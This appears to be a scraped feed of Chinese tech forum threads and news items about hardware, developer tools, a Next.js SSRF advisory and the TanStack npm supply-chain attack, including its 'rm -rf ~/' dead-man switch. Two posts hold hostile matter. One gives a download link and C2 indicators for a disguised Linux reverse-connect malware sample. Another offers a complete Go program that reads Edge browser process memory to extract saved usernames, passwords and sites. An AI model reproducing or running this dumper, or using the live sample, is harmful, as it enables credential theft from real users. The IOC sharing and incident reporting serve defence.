IT之家 6 月 8 日消息,Other World Computing (OWC) 今年 5 月的时候曾宣布了一款名为 OWC Stack AI 的雷电 5“AI 加速器”与外置存储解决方案,不过当时并未对其技术原理进行深入介绍。 而在 COMPUTEX 2026 台北国际电脑展上,Stack AI 现身 OWC 展位。该产品的展牌确认其基于群联 aiDAPTIV 方案,是 一种利用雷电 5 接口的外置式 AI 内存 NAND 扩充方案 。 群联 aiDAPTIV 可将闪存纳入系统有效内存中,将部分 AI 内存需求卸载到高耐久性 SSD 上,降低 AI 对 DRAM 的依赖,让大型 AI 智能体可在本地上运行。此前的 aiDAPTIV 多为内置型,而 OWC Stack AI 则是外置版本, 部署更为灵活 。
https://ebike-test.s3.dualstack.ap-southeast-1.amazonaws.com/test/kworker SHA256: a5763a0601c9d9ac56b8ea3816e22182e683acb15cfd500f2bf7bd0c783901bf 类型: Linux x86_64 ELF 特征: UPX 4.24 packed 大小: 10,061,768 bytes 请勿直接执行该文件。 解包后观察,像是伪装成 kworker 的 Linux 反连代理。 IOC C2: sen.v9.mw C2 URL: wss://sen.v9.mw:443 伪装进程名: [kworker/0:2*eve] 1 个帖子 - 1 位参与者 阅读完整话题
最近给 **TanStackShip** 做了一轮优化,顺手跑了几个检测。 以前做 SEO 主要考虑搜索引擎,现在还要考虑 ChatGPT、Claude、Perplexity 等 AI Agent 的抓取与理解能力。 TanStack Start 的 SSR 确实帮了不少忙。 项目地址: TanStack Ship TanStack Templates — Production-Ready Starter Kits & Boilerplates | TanStack... Browse TanStack Templates: production-ready boilerplates and starter kits built with TanStack Router, Query, and TypeScript. Launch your SaaS, dashboard, or landing page in days. 欢迎大家帮忙挑挑刺,看看还有哪些地方值得继续优化。 1 个帖子 - 1 位参与者 阅读完整话题
如题,求各位佬友推荐一下自己觉得好用的软件/配置 目前已知的有orbstack/mole/raycast,集思广益一下!!! 8 个帖子 - 6 位参与者 阅读完整话题
用的是 mac 的 Bluestacks 虚拟机,感觉是设备哪里没设置好的问题?windows的话是可以的,有佬遇到过同类的问题吗? 1 个帖子 - 1 位参与者 阅读完整话题
自己用了openspec、superpower、gsd openspec感觉约束不太行,并且不支持多子代理多任务并行 gsd交互太久了,质量还行但是支持多任务并行 superpower是我用下来还行的,完成任务的时间快,token烧的也少 其它两个还没用过 4 个帖子 - 4 位参与者 阅读完整话题
IT之家 5 月 22 日消息,Other World Computing (OWC) 美国当地时间昨日宣布了一款名为 OWC Stack AI 的雷电 5 AI 加速器和存储中心,这一产品将于 COMPUTEX 2026 台北国际电脑展上首次实物亮相并于 2026Q4 发售。 OWC 称 Stack AI 可通过扩展现有 PC 的有效可用 AI 工作内存,为本地设备解锁运行更大参数规模模型的可能性。具体来说,其 通过高速闪存扩展 GPU 的工作内存 ,让内存需求超越板载显存容量的 AI 负载也能完整本地运行。 从描述上来看,Stack AI 采用了类似群联 aiDAPTIV+ 的解决方案,具体实施方式尚待官方后续的进一步介绍。 除 1 个支持 60W 输出的雷电 5 上行接口外,OWC Stack AI 还提供了 3 个雷电 5 下行接口和 3 个 USB-A 10Gbps。
这是chrome的: https://chromewebstore.google.com/detail/stackprism/cagpdifljieeiajlhlcboelglkalofak edge的还在审核 2 个帖子 - 2 位参与者 阅读完整话题
有没有佬用M5stack玩过claude buddy的。这个小宠物看的挺有意思的。但是订阅因为没有稳定的网络 目前较大的订阅只有codex pro。官方的项目在github上是 anthropics/claude-desktop-buddy 。 顺便咨询一下大佬 如果我一个codex在多个设备上使用。有没有一个地方可以查到所有设备的用量还是得自己统计呢。(我是通过cpa来分发codex的鉴权。最新的7版本好像把用量页面移除了。。 4 个帖子 - 4 位参与者 阅读完整话题
黑苹果想把Claude和codex cli放到隔离环境里,看到说orbstack占用内存小(黑苹果是16G内存),请教各位大佬,是在orbstack用Docker还是搞Ubuntu? 1 个帖子 - 1 位参与者 阅读完整话题
package main import ( "fmt" "regexp" "strings" "syscall" "unsafe" "github.com/StackExchange/wmi" "golang.org/x/sys/windows" ) const ( PROCESS_QUERY_INFORMATION = 0x0400 PROCESS_VM_READ = 0x0010 MEM_COMMIT = 0x1000 PAGE_READWRITE = 0x04 ) type MEMORY_BASIC_INFORMATION struct { BaseAddress uintptr AllocationBase uintptr AllocationProtect uint32 RegionSize uintptr State uint32 Protect uint32 Type uint32 } type ProcessInfo struct { Id uint32 Name string Owner string } type Win32Process struct { ProcessId uint32 Name string ParentProcessId uint32 } var ( kernel32 = windows.NewLazySystemDLL("kernel32.dll") advapi32 = windows.NewLazySystemDLL("advapi32.dll") procOpenProcess = kernel32.NewProc("OpenProcess") procVirtualQueryEx = kernel32.NewProc("VirtualQueryEx") procReadProcessMemory = kernel32.NewProc("ReadProcessMemory") procCloseHandle = kernel32.NewProc("CloseHandle") procOpenProcessToken = advapi32.NewProc("OpenProcessToken") ) func OpenProcess(dwDesiredAccess uint32, bInheritHandle bool, dwProcessId uint32) (windows.Handle, error) { var inheritHandle uint32 if bInheritHandle { inheritHandle = 1 } handle, _, err := procOpenProcess.Call( uintptr(dwDesiredAccess), uintptr(inheritHandle), uintptr(dwProcessId), ) if handle == 0 { return 0, err } return windows.Handle(handle), nil } func VirtualQueryEx(hProcess windows.Handle, lpAddress uintptr, lpBuffer *MEMORY_BASIC_INFORMATION, dwLength uint32) uintptr { ret, _, _ := procVirtualQueryEx.Call( uintptr(hProcess), lpAddress, uintptr(unsafe.Pointer(lpBuffer)), uintptr(dwLength), ) return ret } func ReadProcessMemory(hProcess windows.Handle, lpBaseAddress uintptr, lpBuffer *byte, nSize uintptr, lpNumberOfBytesRead *uintptr) bool { ret, _, _ := procReadProcessMemory.Call( uintptr(hProcess), lpBaseAddress, uintptr(unsafe.Pointer(lpBuffer)), nSize, uintptr(unsafe.Pointer(lpNumberOfBytesRead)), ) return ret != 0 } func CloseHandle(hObject windows.Handle) bool { ret, _, _ := procCloseHandle.Call(uintptr(hObject)) return ret != 0 } func OpenProcessToken(ProcessHandle windows.Handle, DesiredAccess uint32, TokenHandle *windows.Token) error { ret, _, err := procOpenProcessToken.Call( uintptr(ProcessHandle), uintptr(DesiredAccess), uintptr(unsafe.Pointer(TokenHandle)), ) if ret == 0 { return err } return nil } func GetProcessOwnerFromToken(pid uint32) string { handle, err := OpenProcess(0x1000 /* QUERY_LIMITED_INFORMATION */, false, pid) if err != nil || handle == 0 { return "UNKNOWN" } defer CloseHandle(handle) var token windows.Token err = OpenProcessToken(handle, 8 /* TOKEN_QUERY */, &token) if err != nil { return "UNKNOWN" } defer token.Close() tokenUser, err := token.GetTokenUser() if err != nil { return "UNKNOWN" } accountName, _, _, err := tokenUser.User.Sid.LookupAccount("") if err != nil { return "UNKNOWN" } return accountName } func IsElevated() bool { var sid *windows.SID err := windows.AllocateAndInitializeSid( &windows.SECURITY_NT_AUTHORITY, 2, windows.SECURITY_BUILTIN_DOMAIN_RID, windows.DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &sid, ) if err != nil { return false } defer windows.FreeSid(sid) token := windows.GetCurrentProcessToken() isMember, err := token.IsMember(sid) if err != nil { return false } return isMember } func main() { isElevated := IsElevated() if !isElevated { fmt.Print("\033[31m[x]\033[0m") fmt.Println(" Not running elevated.") fmt.Println("\nProgram will only be able to access Edge processes run by the same user.") fmt.Println("The program might also fail trying to look up owner of some Edge processes.\n") } else { fmt.Print("\033[32m[v]\033[0m") fmt.Println(" Running elevated.\n") } fmt.Print("Fetching browser processes:") totalMatches := 0 shownMatches := 0 seenStrings := make(map[string]struct{}) alreadyCheckedUsers := make(map[string]struct{}) var processes []Win32Process query := "SELECT ProcessId, Name, ParentProcessId FROM Win32_Process WHERE Name='msedge.exe'" err := wmi.Query(query, &processes) if err != nil { fmt.Printf("Error querying WMI: %v\n", err) return } var processList []ProcessInfo for _, proc := range processes { parentPid := proc.ParentProcessId skip := false // Check parent process parentHandle, err := OpenProcess(PROCESS_QUERY_INFORMATION, false, parentPid) if err == nil && parentHandle != 0 { // Get parent process name var exeName [windows.MAX_PATH]uint16 size := uint32(len(exeName)) err = windows.QueryFullProcessImageName(windows.Handle(parentHandle), 0, &exeName[0], &size) if err == nil { name := syscall.UTF16ToString(exeName[:]) if strings.Contains(strings.ToLower(name), "msedge") { skip = true } } CloseHandle(parentHandle) } if skip { continue } processList = append(processList, ProcessInfo{ Id: proc.ProcessId, Name: proc.Name, Owner: GetProcessOwnerFromToken(proc.ProcessId), }) } fmt.Println(" Done.\n") for _, proc := range processList { key := fmt.Sprintf("%s %s", proc.Owner, proc.Name) if _, exists := alreadyCheckedUsers[key]; exists { continue } owner := strings.Replace(proc.Owner, "NSC\\t1_", "", -1) fmt.Printf("Scanning process PID: %d\tName: %s\tOwner: %s\n", proc.Id, proc.Name, owner) processHandle, err := OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ, false, proc.Id) if err != nil || processHandle == 0 { fmt.Printf("Failed to open process: %d %s %s\n", proc.Id, proc.Name, proc.Owner) continue } var address uintptr = 0 var memInfo MEMORY_BASIC_INFORMATION memInfoSize := uint32(unsafe.Sizeof(memInfo)) for VirtualQueryEx(processHandle, address, &memInfo, memInfoSize) != 0 { readable := memInfo.State == MEM_COMMIT && memInfo.Protect == PAGE_READWRITE if readable { buffer := make([]byte, memInfo.RegionSize) var bytesRead uintptr ret, _, _ := procReadProcessMemory.Call( uintptr(processHandle), memInfo.BaseAddress, uintptr(unsafe.Pointer(&buffer[0])), memInfo.RegionSize, uintptr(unsafe.Pointer(&bytesRead)), ) if ret != 0 { utf8 := string(buffer) lines := strings.Split(utf8, "\n") for _, line := range lines { // Pattern for saved passwords pattern := regexp.MustCompile(`[a-zA-Z]https?\x20([a-zA-Z0-9\\\-_\.@\?]{1,20})\x20([a-zA-Z0-9#!@#\$%\^&\*\(\)_\-\+=\{\}\[\]:;<>\?/~\s]{1,40})\x20\x00`) matches := pattern.FindAllStringSubmatch(line, -1) for _, match := range matches { if len(match) < 3 { continue } username := match[1] password := match[2] potentialPattern := fmt.Sprintf("%s : %s", username, password) urlPattern := regexp.MustCompile(fmt.Sprintf(`\x00\x00\x00([A-Za-z0-9\-._~:/?#\[\]@!$&'()*+,;=%%]+)(https?)\x20%s %s`, regexp.QuoteMeta(username), regexp.QuoteMeta(password))) urlMatches := urlPattern.FindAllStringSubmatch(line, -1) for _, urlMatch := range urlMatches { if len(urlMatch) < 2 { continue } value := urlMatch[1] combined := fmt.Sprintf("%s @%s", potentialPattern, value) if _, seen := seenStrings[combined]; !seen { fmt.Println(combined) seenStrings[combined] = struct{}{} shownMatches++ totalMatches++ } } alreadyCheckedUsers[key] = struct{}{} } } } } address = memInfo.BaseAddress + memInfo.RegionSize } CloseHandle(processHandle) } seenStrings = nil fmt.Printf("\nTotal matches found across all processes: %d. %d shown.\n", totalMatches, shownMatches) } 根据EdgeSavedPasswordsDumper(c#) 用AI转的go的 1 个帖子 - 1 位参与者 阅读完整话题
IT之家 5 月 15 日消息,OpenAI 昨日(5 月 14 日)发布公告,受开源库 TanStack 遭遇供应链攻击波及, 要求 Mac 版 ChatGPT 桌面应用在 6 月 12 日前完成强制更新。 IT之家此前报道, 开源库 TanStack 于 5 月 11 日遭遇 Mini Shul-Hulud 供应链攻击 ,OpenAI 的两台员工设备受此影响,公司随即启动调查并聘请第三方数字取证与事件响应公司介入。 受影响范围限于这两名员工有权访问的内部源代码仓库子集。OpenAI 确认,黑客成功窃取的内容非常有限,仅限于部分凭证材料,其余信息与代码未受影响。 关键问题在于,相关代码具备为 OpenAI 产品签署证书的能力,因此 OpenAI 决定撤销现有证书,并阻止使用旧证书签名的应用打开。 对普通 Mac 用户而言,需要尽快升级 ChatGPT 桌面应用,用户收到更新提示后需立即更新,截止日期为 6 月 12 日。iOS 与 Windows 版应用不受影响,无需任何操作。 OpenAI 强调,目前未发现用户数据被访问,其自有系统也未被入侵。公司已采取遏制措施并持续监控系统状态,同时将为 Mac 用户提供额外指引。
OpenAI 称在最近一轮供应链攻击中,黑客曾入侵其员工设备并窃取少量内部代码库凭证,但公司强调用户数据、生产系统和核心知识产权未遭泄露。本周早些时候,多名黑客劫持了多个被数十家公司广泛采用的开源项目,并向其中推送携带恶意代码的更新,试图通过软件供应链传播恶意程序,这是近期一系列针对软件开发者及其项目的“供应链攻击”最新一例。 OpenAI 周三证实,公司有两名员工的设备受到此次攻击影响,但在随后的调查中,OpenAI 在一篇博客文章中表示,没有证据表明 OpenAI 的用户数据被访问,其生产系统或知识产权遭到破坏,亦没有迹象显示公司软件被篡改。 OpenAI 表示,这两名员工的设备是因此前针对 TanStack 的攻击而遭到入侵;TanStack 是一套广泛使用的开源库,用于帮助开发者构建 Web 应用。 本周一,TanStack 公开披露这起攻击并发布事后分析报告,称黑客在短短 6 分钟内发布了 84 个恶意版本的软件,而一名研究人员在攻击开始约 20 分钟后发现异常。 据介绍,这些恶意版本内植入了可窃取安装环境中凭证的恶意软件,并具备自我传播能力,以便扩散至更多系统。 OpenAI 方面称,在公司内部代码库中,其“在受影响员工可访问的一小部分内部源代码仓库中发现了未经授权的访问以及凭证被窃的情况”。 据这家人工智能企业介绍,从这些受影响的代码仓库中,只有“有限数量的凭证材料”遭到窃取。 出于谨慎考虑,由于这些仓库中包含用于对 OpenAI 产品进行签名的数字证书,公司决定对相关证书进行轮换,这一举措将要求 macOS 用户更新应用程序。 OpenAI 表示,目前“没有发现现有软件安装被攻破或面临风险的证据”。 目前尚不清楚是谁策划了此次针对 TanStack 的攻击。 此前,一些供应链攻击被归因于一个名为 TeamPCP 的黑客团伙,而这一团伙过去也曾成为其他黑客攻击的目标。 与此同时,还有其他组织采用类似手法入侵不同项目:例如今年 3 月,朝鲜黑客劫持了广泛使用的开源开发工具 Axios,将恶意软件通过该项目推送给潜在数百万名开发者;而在 5 月,另一起攻击中,中国黑客被指控通过类似方式,将后门植入光盘映像软件 Daemon Tools,目标是成千上万台运行该软件的 Windows 计算机。 这类攻击的共同特点是,攻击者并非直接锁定某一家公司,而是先夺取开源项目控制权,再以看似常规的版本更新形式分发恶意代码。 这种策略让攻击者有机会通过一次攻击同时波及数十个目标,将风险和破坏在互联网范围内广泛扩散。 查看评论
tenable.com CVE-2026-44578 Next.js is a React framework for building full-stack web applications. From 13.4.13 to before 15.5.16 and 16.2.5, self-hosted applications using the built-in Node.js server can be vulnerable to server-side request forgery through crafted WebSocket... 从13.4.13到15.5.16和16.2.5之前,使用内置Node.js服务器的自托管应用可能因定制的WebSocket升级请求而遭受服务器端请求伪造。攻击者可以让服务器代理请求到任意的内部或外部目的地,这可能会暴露内部服务或云元数据端点。Vercel托管的部署不受影响。该漏洞在15.5.16和16.2.5版本中修复。 GitHub Server-side request forgery in applications using WebSocket upgrades ### Impact Self-hosted applications using the built-in Node.js server can be vulnerable to server-side request forgery through crafted WebSocket upgrade requests. An attacker can cause the serve... 7 个帖子 - 6 位参与者 阅读完整话题
制作这款浏览器插件的起因是因为之前一直用的是wappalyzer, 然后我发现我有些网站居然没法识别出有哪些技术栈, 后面又试了市面上林林总总其他的技术栈检测插件都感觉不尽人意, 所以我就制作了这款插件 那还说啥了, 介绍一下呗 StackPrism / 栈棱镜 一款检测网页技术栈的浏览器扩展,一眼看清当前网站用了哪些技术。 · 35,000+ 条规则 / 130,000+ patterns,覆盖前端框架、UI 库、CDN、网站程序、SaaS、统计、登录、支付等 20+ 分类 · 完全离线本地匹配,毫秒级响应,不上传任何页面数据 · 支持自定义识别规则、明暗主题切换、兼容所有 Chromium 内核浏览器(Chrome / Edge / Brave / Opera 等) 文档: https://stackprism.wenzi.games 4 个帖子 - 3 位参与者 阅读完整话题
npm 出现了新攻击方式:TanStack Router 官方 npm 包被植入恶意代码。攻击者入侵了项目发布流程,上传了带后门的官方版本。这些包会窃取开发者电脑里的各种密钥,并尝试继续感染开发者拥有权限的其他 GitHub 仓库,再借 npm 进一步传播。 令人绝望的是:它绕过了现代 npm 生态
TanStack 供应链攻击中黑客预留死人开关,检测到开发者吊销令牌后执行 rm -rf ~/ 命令。相关恶意脚本位于 ~/.local/bin/ 目录,里面的检测脚本会每 60 秒查询 1 次窃取的 GitHub 令牌,如果令牌被撤销就会触发死人开关,从而执行 rm 命令删除开发者的所有文件。 详情请见: 用心极其险恶!TanStack攻击中黑客预留死人开关 检测到凭据撤销就执行rm -rf ~/ - 蓝点网 如果大家不幸安装了被污染的TanStack版本及其他以污染版本TanStack为依赖的软件,请在清理时一定一定小心!!! 2 个帖子 - 2 位参与者 阅读完整话题
按需自取 gist.github.com https://gist.github.com/songlairui/3abee6cdddf9c30a764a2d8a436d4a95 【自检提示词】TanStack npm 供应链投毒 请帮我检查当前机器 / 当前项目, 是否受到 2026-05-11 TanStack npm 供应链投毒事件影响。 审计范围与 IOC, 请严格依据以下官方披露内容: https://tanstack.com/blog/npm-supply-chain-compromise-postmortem 不要扩展为通用恶意软件检测, 不要使用泛化启发式规则, 此文件已被截断。 显示原始文件 2 个帖子 - 2 位参与者 阅读完整话题
tanstack.com Postmortem: TanStack npm supply-chain compromise | TanStack Blog On 2026-05-11, an attacker chained a pull_request_target Pwn Request, GitHub Actions cache poisoning across the fork↔base trust boundary, and OIDC token extraction from runner memory to publish 84 malicious versions across 42 @tanstack/* packages on... [!quote]+ 2026-05-11 19:20 至 19:26 UTC 期间,一名攻击者通过结合以下方式在 42 个 @tanstack /* npm 软件包中发布了 84 个恶意版本:pull_request_target "Pwn Request "模式、跨越 fork<->base 信任边界的 GitHub Actions 缓存中毒,以及从 GitHub Actions runner 进程中提取 OIDC 令牌的运行时内存。没有 npm 令牌被盗,npm 发布工作流本身也未受到攻击。 为 stepsecurity 工作的外部研究人员 ashishkurmi 在 20 分钟内公开检测到了这些恶意版本。所有受影响的版本都已被弃用;npm 安全部门已开始从注册表中删除压缩包。我们没有证据表明 npm 凭据被盗,但我们强烈建议任何在 2026-05-11 安装受影响版本的人,轮换 AWS、GCP、Kubernetes、Vault、GitHub、npm 和安装主机可访问的 SSH 凭据。 Cyber Security News – 12 May 26 84 TanStack npm Packages Hacked in Ongoing Supply-Chain Attack Targeting CI... A significant supply-chain compromise affecting 84 npm package artifacts across the TanStack namespace. Est. reading time: 3 minutes Snyk – 11 May 26 TanStack npm Packages Hit by Mini Shai-Hulud | Snyk On May 11, 2026, the Mini Shai-Hulud worm compromised 84 npm package artifacts across 42 @tanstack/* packages (as well as @squawk/*, @mistralai/* packages, and others) by chaining a GitHub Actions "Pwn Request," cache poisoning, and OIDC token... Socket TanStack npm Packages Compromised in Ongoing Mini Shai-Hulud... Socket detected 84 compromised TanStack npm package artifacts modified with suspected CI credential-stealing malware. 3 个帖子 - 2 位参与者 阅读完整话题
受影响软件包覆盖 42 个 @ tanstack /* 命名空间下的项目,其中 @ tanstack /react-router 的周下载量超 1200 万次 消息来源: https://socket.dev/blog/tanstack-npm-packages-compromised-mini-shai-hulud-supply-chain-attack